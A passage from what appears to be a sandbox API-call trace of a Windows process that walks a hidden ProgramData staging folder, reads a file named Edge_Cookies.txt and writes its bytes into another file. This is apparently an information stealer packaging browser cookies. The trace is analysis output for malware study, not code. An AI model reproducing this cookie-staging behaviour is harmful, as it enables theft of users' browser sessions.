lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" [0149.054] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\*.*" [0149.054] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b77a3f1, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b77a3f1, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4bcff008, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0149.054] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" [0149.054] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\" [0149.055] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\." [0149.055] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0149.055] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0149.055] lstrcatW (in: lpString1="\\Cookies\\", lpString2="." | out: lpString1="\\Cookies\\.") returned="\\Cookies\\." [0149.055] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.055] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b77a3f1, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b77a3f1, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4bcff008, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.055] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" [0149.055] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\" [0149.055] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\.." [0149.055] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0149.055] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0149.055] lstrcatW (in: lpString1="\\Cookies\\", lpString2=".." | out: lpString1="\\Cookies\\..") returned="\\Cookies\\.." [0149.055] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.055] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.055] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bcff008, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4bcff008, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4bcff008, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edge_Cookies.txt", cAlternateFileName="EDGE_C~1.TXT")) returned 1 [0149.055] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" [0149.055] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\" [0149.055] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\", lpString2="Edge_Cookies.txt" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\Edge_Cookies.txt") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\Edge_Cookies.txt" [0149.055] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0149.055] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0149.055] lstrcatW (in: lpString1="\\Cookies\\", lpString2="Edge_Cookies.txt" | out: lpString1="\\Cookies\\Edge_Cookies.txt") returned="\\Cookies\\Edge_Cookies.txt" [0149.056] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340048 [0149.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\Edge_Cookies.txt", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0149.056] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x48) returned 0x32bb748 [0149.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\Edge_Cookies.txt", cchWideChar=72, lpMultiByteStr=0x32bb748, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\Edge_Cookies.txt", lpUsedDefaultChar=0x0) returned 72 [0149.056] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362ba0 [0149.056] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb748 | out: hHeap=0x2360000) returned 1 [0149.056] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.056] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366878 [0149.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2366878, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.056] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366878 | out: hHeap=0x2360000) returned 1 [0149.056] PathMatchSpecW (pszFile="Edge_Cookies.txt", pszSpec="*.*") returned 1 [0149.056] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340048 [0149.056] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba270 [0149.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\Edge_Cookies.txt", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0149.056] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x48) returned 0x32bb608 [0149.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\Edge_Cookies.txt", cchWideChar=72, lpMultiByteStr=0x32bb608, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\Edge_Cookies.txt", lpUsedDefaultChar=0x0) returned 72 [0149.056] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23629e8 [0149.056] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb608 | out: hHeap=0x2360000) returned 1 [0149.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Cookies\\Edge_Cookies.txt", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0149.056] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x1a) returned 0x3340470 [0149.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Cookies\\Edge_Cookies.txt", cchWideChar=26, lpMultiByteStr=0x3340470, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Cookies\\Edge_Cookies.txt", lpUsedDefaultChar=0x0) returned 26 [0149.056] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33405d8 [0149.056] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340470 | out: hHeap=0x2360000) returned 1 [0149.056] GetLastError () returned 0x5 [0149.057] SetLastError (dwErrCode=0x5) [0149.057] GetLastError () returned 0x5 [0149.057] SetLastError (dwErrCode=0x5) [0149.057] GetLastError () returned 0x5 [0149.057] SetLastError (dwErrCode=0x5) [0149.057] GetLastError () returned 0x5 [0149.057] SetLastError (dwErrCode=0x5) [0149.057] GetLastError () returned 0x5 [0149.057] SetLastError (dwErrCode=0x5) [0149.057] GetLastError () returned 0x5 [0149.057] SetLastError (dwErrCode=0x5) [0149.057] GetLastError () returned 0x5 [0149.057] SetLastError (dwErrCode=0x5) [0149.057] GetLastError () returned 0x5 [0149.057] SetLastError (dwErrCode=0x5) [0149.057] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\Edge_Cookies.txt" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cookies\\edge_cookies.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0149.057] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.058] GetFileInformationByHandle (in: hFile=0x4e8, lpFileInformation=0x19df48 | out: lpFileInformation=0x19df48) returned 1 [0149.058] GetFileSize (in: hFile=0x4e8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0149.058] FileTimeToSystemTime (in: lpFileTime=0x19df08, lpSystemTime=0x19def0 | out: lpSystemTime=0x19def0) returned 1 [0149.058] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.062] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.175] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.245] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.245] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.245] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.245] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.246] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.246] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.246] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.246] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.246] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.246] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.246] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.247] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.247] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.247] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.247] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.247] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.247] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.247] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.248] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.248] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.248] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.248] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.248] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.249] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.249] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.249] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.249] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.249] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.250] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e160*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e160*, lpNumberOfBytesWritten=0x19dfbc*=0x19, lpOverlapped=0x0) returned 1 [0149.250] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e378*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e378*, lpNumberOfBytesWritten=0x19dfbc*=0x11, lpOverlapped=0x0) returned 1 [0149.250] GetDesktopWindow () returned 0x10010 [0149.250] GetTickCount () returned 0x15b60a6 [0149.250] GetLastError () returned 0x0 [0149.250] SetLastError (dwErrCode=0x0) [0149.250] GetLastError () returned 0x0 [0149.251] SetLastError (dwErrCode=0x0) [0149.251] GetLastError () returned 0x0 [0149.251] SetLastError (dwErrCode=0x0) [0149.251] GetLastError () returned 0x0 [0149.251] SetLastError (dwErrCode=0x0) [0149.251] GetLastError () returned 0x0 [0149.251] SetLastError (dwErrCode=0x0) [0149.251] GetLastError () returned 0x0 [0149.251] SetLastError (dwErrCode=0x0) [0149.251] GetLastError () returned 0x0 [0149.251] SetLastError (dwErrCode=0x0) [0149.251] GetLastError () returned 0x0 [0149.252] SetLastError (dwErrCode=0x0) [0149.252] GetLastError () returned 0x0 [0149.252] SetLastError (dwErrCode=0x0) [0149.252] GetLastError () returned 0x0 [0149.252] SetLastError (dwErrCode=0x0) [0149.252] GetLastError () returned 0x0 [0149.252] SetLastError (dwErrCode=0x0) [0149.252] GetLastError () returned 0x0 [0149.252] SetLastError (dwErrCode=0x0) [0149.252] GetLastError () returned 0x0 [0149.252] SetLastError (dwErrCode=0x0) [0149.252] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x6afa8) returned 0x32bfa28 [0149.256] ReadFile (in: hFile=0x4e8, lpBuffer=0x32da998, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x32da998*, lpNumberOfBytesRead=0x19dfa4*=0x0, lpOverlapped=0x0) returned 1 [0149.257] WriteFile (in: hFile=0x2f8, lpBuffer=0x32bba1c*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x19df70, lpOverlapped=0x0 | out: lpBuffer=0x32bba1c*, lpNumberOfBytesWritten=0x19df70*=0x2, lpOverlapped=0x0) returned 1 [0149.257] CloseHandle (hObject=0x4e8) returned 1 [0149.257] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.258] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.258] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.258] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.258] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.258] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.258] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.258] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.259] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.259] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.259] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.259] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.259] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.259] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, 